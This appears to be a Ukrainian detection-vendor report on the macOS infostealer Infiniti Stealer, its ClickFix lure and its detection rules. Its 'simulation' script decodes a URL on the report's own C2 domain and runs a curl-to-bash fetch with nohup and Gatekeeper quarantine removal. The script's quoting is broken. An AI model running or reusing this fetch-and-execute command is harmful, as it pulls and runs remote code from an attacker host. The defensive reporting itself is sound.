Infiniti Stealer: новий інфорстеалер для macOS з використанням ClickFix та Python/Nuitka
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Новий інфостілер для macOS під назвою Infiniti Stealer був помічений у використанні соціального інженерного обману ClickFix для зараження користувачів. Шкідливе ПЗ створено за допомогою Nuitka, що перетворює код Python у власний бінарний файл Mach-O, ускладнюючи статичну інспекцію. Після виконання воно викрадає облікові дані, дані Keychain, файли криптогаманців та іншу конфіденційну інформацію, після чого ексфільтрує зібрані дані через HTTP POST-запити. Кампанія також покладається на підроблену сторінку CAPTCHA, розміщену на шкідливому домені, щоб ввести жертв в оману для виконання небезпечної командної оболонки Bash.
Розслідування
Дослідники виявили корисне навантаження під час рутинного відстеження загроз і спершу відстежували його під тимчасовою назвою NukeChain, доки панель загрозового актора не розкрила остаточний брендинг як Infiniti Stealer. Аналіз виявив трьохетапний потік: дроппер Bash, доставлений через підроблену CAPTCHA, завантажувач, скомпільований за допомогою Nuitka, та модуль стілера на базі Python. Дроппер розміщує бінарний файл у /tmp, знімає атрибут карантину і запускає його, передаючи деталі C2 через змінні середовища. Останній етап збирає дані з браузерів, Keychain, гаманців та файлів, пов’язаних з розробниками, перш ніж надіслати їх на сервер під контролем атакувальника.
Захист
Користувачі ніколи не повинні копіювати та виконувати команди з невідомих веб-сайтів, особливо сторінок, що удають із себе перевірки CAPTCHA. Захисники повинні перевірити та видалити підозрілі файли в /tmp or ~/Library/LaunchAgents, запустити надійне сканування антишкідливим програмним забезпеченням і змінити паролі на будь-які потенційно скомпрометовані акаунти з чистої системи. Також слід відкликати будь-які активні API-токени або ключі SSH, які могли бути зібрані.
Відповідь
Команди виявлення повинні стежити за скриптом-дроппером і скомпільованим за допомогою Nuitka бінарним файлом, спостерігаючи за створенням файлів у /tmp які відповідають описаному зразку імен. Сигнали повинні спрацьовувати на виконання шкідливої команди Bash і на вихідний HTTP POST-трафік до ідентифікованого домену C2. Необхідно заблокувати мережевий доступ до update-check.com and infiniti-stealer.com Потім необхідно виконати форензичний аналіз на хостах для ідентифікації викрадених облікових даних і підтримки обов’язкового скидання облікових даних.
"graph TB %% Секція визначень класів classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef artifact fill:#cccccc classDef operator fill:#ff9900 %% Визначення вузлів action_initial_access["<b>Дія</b> – <b>T1204.004 Виконання користувача: Зловмисне копіювання та вставлення</b><br/><b>Опис</b>: Жертва копіює та вставляє шкідливу команду в термінал, що призводить до виконання коду."] class action_initial_access action artifact_captcha_page["<b>Артефакт</b> – <b>Підроблена сторінка CAPTCHA</b><br/>URL: update-check.com<br/>Надає команду для копіювання‑вставки жертві."] class artifact_captcha_page artifact action_execution_dead_drop["<b>Дія</b> – <b>T1102.001 Веб-сервіс: Розв’язувач Dead Drop</b><br/><b>Опис</b>: Використовує веб-сервіс як ‑drop для отримання додаткових корисних навантажень."] class action_execution_dead_drop action process_curl_download["<b>Процес</b> – <b>curl</b><br/><b>Команда</b>: curl -sSfL … | bash<br/>Завантажує стадію‑1 Bash dropper."] class process_curl_download process artifact_temp_binary["<b>Артефакт</b> – <b>Тимчасовий бінарний файл</b><br/>Розташування: /tmp/<br/>Прапорець карантину знято після завантаження."] class artifact_temp_binary artifact action_defense_evasion_sandbox["<b>Дія</b> – <b>T1497.002 Перевірки активності користувача</b> & <b>T1497.003 Обхід з таймером</b><br/><b>Опис</b>: Виявляє віртуалізацію або аналіз середовищ перед продовженням."] class action_defense_evasion_sandbox action action_guardrails["<b>Дія</b> – <b>T1480.002 Запобіжні заходи виконання: Взаємне виключення</b><br/><b>Опис</b>: Забезпечує виконання лише одного екземпляра на хості."] class action_guardrails action action_file_deletion["<b>Дія</b> – <b>T1070.004 Видалення файлу</b><br/><b>Опис</b>: Видаляє тимчасові файли та журнали після використання."] class action_file_deletion action action_obfuscation["<b>Дія</b> – <b>T1027.005 Замасковані файли або інформація</b><br/><b>Опис</b>: Використовує обфускацію для приховування зловмисних корисних навантажень."] class action_obfuscation action action_collection_input_capture["<b>Дія</b> – <b>T1056 Захоплення введення</b><br/><b>Опис</b>: Захоплює облікові дані браузера, записи ключів, дані криптогаманця та знімки екрану."] class action_collection_input_capture action artifact_collected_data["<b>Артефакт</b> – <b>Зібрані конфіденційні дані</b><br/>Облікові дані браузера, записи ключів, файли криптогаманців, знімки екрану."] class artifact_collected_data artifact action_exfiltration_alternative["<b>Дія</b> – <b>T1048 Ексфільтрація через альтернативний протокол</b><br/><b>Опис</b>: Надсилає дані через HTTP POST на віддалений сервер."] class action_exfiltration_alternative action artifact_c2_domain["<b>Артефакт</b> – <b>Домен C2</b><br/>update-check.com"] class artifact_c2_domain artifact artifact_telegram_notification["<b>Артефакт</b> – <b>Повідомлення Telegram</b><br/>Зловмисник отримує статусні оновлення через Telegram."] class artifact_telegram_notification artifact action_lateral_tool_transfer["<b>Дія</b> – <b>T1570 Бічна передача інструментів</b><br/><b>Опис</b>: Завантажує додаткові корисні навантаження на вимогу для подальшого компрометування."] class action_lateral_tool_transfer action artifact_additional_payload["<b>Артефакт</b> – <b>Додаткові корисні навантаження</b><br/>Завантажуються за необхідності для пізніших етапів."] class artifact_additional_payload artifact %% Зв’язки, що показують потік action_initial_access –>|доставляє| artifact_captcha_page artifact_captcha_page –>|запускає| action_execution_dead_drop action_execution_dead_drop –>|використовує| process_curl_download process_curl_download –>|записує| artifact_temp_binary artifact_temp_binary –>|дозволяє| action_defense_evasion_sandbox action_defense_evasion_sandbox –>|включає| action_guardrails action_defense_evasion_sandbox –>|включає| action_file_deletion action_defense_evasion_sandbox –>|включає| action_obfuscation action_file_deletion –>|видаляє| artifact_temp_binary action_obfuscation –>|маскує| artifact_temp_binary action_defense_evasion_sandbox –>|призводить до| action_collection_input_capture action_collection_input_capture –>|захоплює| artifact_collected_data artifact_collected_data –>|відправлений через| action_exfiltration_alternative action_exfiltration_alternative –>|націлюється на| artifact_c2_domain artifact_c2_domain –>|сповіщає| artifact_telegram_notification action_exfiltration_alternative –>|дозволяє| action_lateral_tool_transfer action_lateral_tool_transfer –>|завантажує| artifact_additional_payload "
Потік атак
Виявлення
Можливий обхід захисту через обхід MacOS Gatekeeper (через командний рядок)
Перегляд
Можливе маніпулювання Base64 закодованими рядками [MacOS] (через командний рядок)
Перегляд
Спроба підозрілого виконання Curl [MacOS] (через командний рядок)
Перегляд
IOC (HashMd5) для виявлення: Infiniti Stealer: новий інфостілер для macOS, що використовує ClickFix та Python/Nuitka
Перегляд
IOC (HashSha256) для виявлення: Infiniti Stealer: новий інфостілер для macOS, що використовує ClickFix та Python/Nuitka
Перегляд
Виявлення інфекції Infiniti Stealer через виконання команд у терміналі [створення процесу Linux]
Перегляд
Виконання симуляції
Передумова: Телеметрія та перевірка базових показників повинні пройти перевірку.
Історія атаки та команди
Атакуючий надсилає фішингове посилання, яке, коли відкрито на робочій станції macOS, запускає наступну одновантажну команду в терміналі. Команда:
- Завантажує урл, закодований у base64 (хост корисного навантаження) через
curl -sSfL. - Декодує рядок base64, щоб розкрити фактичний HTTPS URL.
- Виконує завантажений скрипт за допомогою
bash. - Запускає його під
nohupщоб зберегти його живим після закриття терміналу. - Знімає атрибут карантину (
xattr -dr com.apple.quarantine) для обходу Gatekeeper.
Ці кроки створюють точні фрагменти командного рядка, за якими спостерігає правило Sigma, тим самим генеруючи очікувану тривогу.
Скрипт регресійного тестування
#!/usr/bin/env bash
# ------------------------------------------------------------
# Симуляція інфекції Infiniti Stealer (macOS)
# ------------------------------------------------------------
# 1. Створити шкідливу одновантажну команду (саме як очікує правило)
MALICIOUS_CMD="bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode))"
# 2. Додаткові допоміжні функції постійності (включені у виявлення)
MALICIOUS_CMD+=" && nohup bash -c "$MALICIOUS_CMD" >/dev/null 2>&1 &"
MALICIOUS_CMD+=" && xattr -dr com.apple.quarantine /Applications/Utilities/Terminal.app"
# 3. Виконати команду
eval "$MALICIOUS_CMD"
# 4. Зачекати кілька секунд, щоб дозволити ingesting до SIEM
sleep 5
# 5. Вивести маркер для ручної перевірки
echo ">>> Симуляція виконана - перевірте SIEM на тривогу <<<"
Команди очищення
#!/usr/bin/env bash
# ------------------------------------------------------------
# Очищення після симуляції Infiniti Stealer
# ------------------------------------------------------------
# Зупинити будь-які фонові процеси nohup, запущені симуляцією
pkill -f "bash <(curl -sSfL"
# Видалити будь-які тимчасові файли, які могли бути створені
rm -f /tmp/$(ls /tmp | grep -E 'tmp|bash|curl' | head -n 1)
# Відновити атрибут карантину на Terminal (необов'язково, для гігієни)
xattr -w com.apple.quarantine "0081;5f4a9b2c;Safari;1234567890" /Applications/Utilities/Terminal.app 2>/dev/null || true
echo "Очищення завершено."
Кінець звіту